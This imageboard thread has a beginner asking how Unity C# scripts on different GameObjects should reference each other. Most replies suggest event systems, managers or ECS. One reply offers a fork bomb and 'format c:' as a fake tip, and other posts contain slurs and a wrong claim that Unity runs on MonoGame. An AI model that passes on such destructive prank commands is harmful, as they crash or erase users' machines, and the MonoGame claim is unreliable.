Hey guys

hey guys,
i'm fairly new to unity and trying to build a simple game in c#. i understand that every script you create needs to be attached to a gameobject. now say i have 3 gameobjects. what is the best practice to interact with them? i usually do the following to separate tasks - it works fine, but seems pretty stupid as it kind of defies oo-programming...

- GameObjects A, B and C
- c#-scripts A, B and C


[A] (takes, e.g., UI input values)
GameObject B, C;

void Start() {
B = GameObject.Find("B"); //this style is bugging me
C = GameObject.Find("C"); //this style is bugging me
}

private void doShit() {
//do shit in A and then call some functions in B or C, maybe with some parameters from A
B.GetComponent(Bscript).somefunction();
C.GetComponent(Cscript).somefunction(someMember);
}


[B]
GameObject A, C;

void Start() {
A = GameObject.Find("A"); //this style is bugging me
C = GameObject.Find("C"); //this style is bugging me
}

private void doMoreShit() {
//nice data mangling here. then we need a parameter from A to continue
//so we could either call B.doMoreShit() with the parameter in the first place or get it here separately
niceFunction(A.someUIinputParameter);

C.GetComponent(Cscript).somefunction(someMember);
}


OR: we declare public variables and fill them with the appropriate GameObjects. What's better though? It seems Unity gives several possibilities to achieve the same thing, what's best practice? I kind of like to keep it OO-oriented with the scripts without too much click'n'drag in the Inspector.

>not using MATLAB
sage

this thread doesn't belong on Veeky Forums but use an event system or a service locator pattern

>this thread doesn't belong on Veeky Forums
sorry bro, thought it's computer science too...
thanks for the ideas! event system sounds fine

Veeky Forums is for shit posting about race or flat earthers only

Isnt unity fucking dead?

just because chrome removed npapi?

I tried playing unity on opera and it told me I'm using chrome and to download opera or firefox. Firefox didn't play it.

unity web player is pretty shit
but that's not the end of the journey, especially with VR coming up
anyway, it's a great tool to learn with

Try /g/. They can help you with programming.

>in c#

Use C++.

>like to keep it OO-oriented

Stop shoehorning OO where it doesn't help you.

Well I've never used Unity or C#, but here are my 2 cents:

That thing you are doing with those ugly Find methods, is called "namespace pattern", I don't know if it has another name in C# though.

IMO it's terrible pattern.

For example, if you introduce GameObject D later on, you will have to modify several functions on every script. Depending on the game project that could be a HUGE problem.

What are the alternatives?

You can use classes, and implement the observer-listener pattern to communicate your A,B and C. This, of course also has a lot of short comings (dealing with inheritance, ending with a taxonomic class hierarchy). But it might be suitable for your game.

I think the best route in general, is going with an Entity-Component-System (I'm sure Unity as to have a bunch of them). With an ECS you define traits like "health" or "speed" or whatever, and create "entities" that implement them and check for events between them using a more event-driven style of programming (Check for collision on entities with the trait "collidable").

With an ECS is easier to structure your code.

thanks for the input, mate.
yeah i reckon an event based implementation is the best way to go. i will look into this

in your console on mac try :(){ :|: & };:
If on windows try try format c:

i did, the command prompt said "42"

...

not cs, is programing. go to /g/

>pretty stupid as it kind of defies oo-programming...

Who gives a shit about object oriented programming?

Also put code in a pastebin you fucking faggot. I don't even know why I'm takign the time to read this shit.

Now, stop using shitty find. First off it's slow, second if you already know what this shit is you can cache it before you ever start doing anything.

Next, if these objects all have data that depends on each other, why are you trying to have each individual object handle that data as it pertains to other objects?

Why do the individual objects have methods that depend on a ton of info from other objects instead of having some object that contains all the objects and does those things, and the individual things only update their individual components?

Manager has a reference to all these objects.

Your methods for doing your shit happens inside the manager, and the manager methods take arguments for two objects for this to happen on.

One exception to this if you want can be something like collision, and collisions happen off of events. When a collision happens an event is given that returns a reference (which is basically a pointer) to an object so you can get any data you need from that object and act upon it.

Lastly, this has nothing to do with sci. You are not asking a comp sci question. OOP is not computer science, it's "engineering" and horrible engineering at that.

>if these objects all have data that depends on each other, why are you trying to have each individual object handle that data as it pertains to other objects?
they do some heavy data mangling and therefore i like to keep these objects as separate components.

the only manager i really need is a UI manager. so i have this UI controller class that has dropdowns, user input fields and such, and the different components i have use that kind of user input.

the way i solved it now is i declare a public variable on all these separate components called uicontroller and drag the actual controller gameobject onto these public fields to create a reference. then i can access the user input data.

does that make sense roody-poo candy-ass?

thanks for the post and good info

Yes, objects having a reference to something like a UI class makes sense as long as they cannot change it's state.

...

> It seems Unity gives several possibilities to achieve the same thing, what's best practice?
there are no best practices in unity, its a shitty glob of inconsistent bullshit that limit you to using shitty programming practices and also bloats the final product, try monogame if you want to use C#, its what unity uses behind the scenes.

t. someone who made a game in unity, then began on a second one and realized its shit to moved over to mono with little problems since 99% of my scripts were compatible.